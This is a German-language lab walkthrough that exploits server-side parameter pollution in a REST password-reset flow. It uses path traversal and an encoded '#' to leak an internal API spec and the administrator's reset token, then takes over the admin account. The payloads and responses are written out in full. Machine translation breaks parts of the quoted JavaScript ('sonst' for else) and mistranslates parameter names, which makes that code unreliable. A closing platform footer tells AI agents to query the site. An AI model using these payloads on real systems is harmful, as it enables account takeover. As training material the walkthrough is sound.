> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/api-testing/server-side-parameter-pollution-in-a-rest-url.md).

# Serverseitige Parameter Pollution in einer REST-URL

### Ausnutzung von serverseitiger Parameter-Polution in einer REST-URL

**Lernziel**/ Melden Sie sich als Administrator\*\* an und löschen Sie den Benutzer**carlos**.

#### 1. Funktionalität « Passwort vergessen »

Sie rufen die Funktion „Passwort vergessen“ auf und geben den Benutzernamen ein **Administrator**.

<figure><img src="/files/319afc96b5c5e0cd31c597f8f1327907b1651250" alt=""><figcaption></figcaption></figure>

Die an den Server gesendete Anfrage lautet wie folgt:

```bash
POST /forgot-password

csrf=CiKtg4vkiqLtNS3lAtIhUaMNSuOfnjh1&username=administrator
```

Erhaltene Antwort:

```json
{
    "result":"*****@normal-user.net",
    "type":"email"
}
```

<figure><img src="/files/32b59bff62c06b47e08307e93f699b55c60442e2" alt=""><figcaption></figcaption></figure>

#### 2. Analyse des clientseitigen JavaScript-Codes

Der JavaScript-Code zeigt, dass der `Benutzernamen` Wert unverändert in der Abfrage gesendet wird, ohne zusätzliche Servervalidierung.

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "Ungültiger Benutzername";
                }
                sonst
                {
                    forgotPasswordError.textContent = `Bitte überprüfen Sie Ihre E-Mail: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "Ungültiger Benutzername";
            });
    } catch (error) {
        console.error("Unerwarteter Fehler:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;
    }
    sonst
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});
```

Dies deutet darauf hin, dass der Wert als Teil des Pfads der Backend-API interpretiert werden kann.

#### 3. Versuche, die `Benutzernamen` Parameters

* Einen hinzugefügt `#` am Ende des Parameters:

```bash
&username=administrator#
```

Antwort:

```json
{
  "type": "error",
  "result": "Ungültige Route. Bitte beachten Sie die API-Definition"
}
```

* Versuch, Pfade zu kreuzen:

```bash
&username=../../../../administrator
```

Antwort: 404-Fehler vom API-Server.

{% code overflow="wrap" %}

```json
{
  "error": "Unerwartete Antwort vom API-Server:/n<html>/n<head>/n    <meta charset=/"UTF-8/">/n    <title>Nicht gefunden<//title>/n<//head>/n<body>/n    <h1>Nicht gefunden<//h1>/n    <p>Die von Ihnen angeforderte URL wurde nicht gefunden.<//p>/n<//body>/n<//html>/n"
}
```

{% endcode %}

<figure><img src="/files/80c4a1688fb184f23b77e684ca3a2d743c935506" alt=""><figcaption></figcaption></figure>

#### 4. Entdeckung der OpenAPI-Dokumentation

Kombination von Verzeichnissprung und `#` Zeichen:

{% code overflow="wrap" %}

```bash
csrf=CiKtg4vkiqLtNS3lAtIhUaMNSuOfnjh1&username=../../../../administrator%23
```

{% endcode %}

Es gibt `openapi.json` mit einer großen Antwortlänge.

<figure><img src="/files/f5ffec3f0499382e74a8d5dc5b7713539c2fc030" alt=""><figcaption></figcaption></figure>

* Fehlermeldung:

```json
{
  "error": "Unerwartete Antwort vom API-Server:/n{/n  /"openapi/": /"3.0.0/",/n  /"info/": {/n    /"title/": /"Benutzer-API/",/n    /"version/": /"2.0.0/"/n  },/n  /"paths/": {/n    /"/api/internal/v1/users/{username}/field/{field}/": {/n      /"get/": {/n        /"tags/": [/n          /"users/"/n        ],/n        /"summary/": /"Benutzer anhand des Benutzernamens finden/",/n        /"description/": /"API-Version 1/",/n        /"parameters/": [/n          {/n            /"name/": /"username/",/n            /"in/": /"path/",/n            /"description/": /"Benutzername/",/n            /"required/": true,/n            /"schema/": {/n        ..."
}
```

<figure><img src="/files/cf7c8b7355652ee30033b8d2696b28efac596a12" alt=""><figcaption></figcaption></figure>

Der Server gibt einen Fehler zurück, der enthält **OpenAPI** Dokumentation und enthüllt verfügbare interne Routen, einschließlich:

```bash
/api/internal/v1/users/administrator/field/{field}
```

#### 5. Ausnutzung der internen API

Das `Benutzernamen` Parameter wird angepasst, um die API direkt anzusprechen:

```bash
administrator/field/test%23
```

```json
{
  "type": "error",
  "result": "Diese Version der API unterstützt aus Sicherheitsgründen nur das E-Mail-Feld"
}
```

<figure><img src="/files/7b44316c235c32126caefb4e3b3fcd8f67ac31f9" alt=""><figcaption></figcaption></figure>

Gültige Antwort mit Admin-E-Mail.

```bash
&username=administrator/field/email%23
```

<figure><img src="/files/5c8260c03ee4b69fe9551771f0fcf592dd9d3187" alt=""><figcaption></figcaption></figure>

#### 6. Wiederherstellung des Reset-Tokens

```bash
../../v1/users/administrator
```

<figure><img src="/files/4b9267093ee3ccf46a4bfc62e491e156036871e5" alt=""><figcaption></figcaption></figure>

Test anderer von der API offengelegter Felder:

<figure><img src="/files/a340114dc83c278cc376bd6f9f1acc3421f2c446" alt=""><figcaption></figcaption></figure>

```bash
&username=../../v1/users/administrator/field/passwordResetToken%23
```

Antwort:

```json
{
  "type": "passwordResetToken",
  "result": "guw2qorqvfcpqohuv92wb460x4da485o"
}
```

<figure><img src="/files/9c8b2e5c87d6add443ca14c19b6786d0e32c98e7" alt=""><figcaption></figcaption></figure>

#### 7. Administratorpasswort zurücksetzen

Das wiederhergestellte Token wird verwendet, um auf die Zurücksetzungsseite zuzugreifen:

```bash
/forgot-password?passwordResetToken=guw2qorqvfcpqohuv92wb460x4da485o
```

Dies ermöglicht es Ihnen, ein neues Passwort für **Administrator**, dann verbinden und Benutzer löschen **carlos**.

<figure><img src="/files/884d4d0db284367d56a27e4708046dbf31682bf4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/api-testing/server-side-parameter-pollution-in-a-rest-url.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
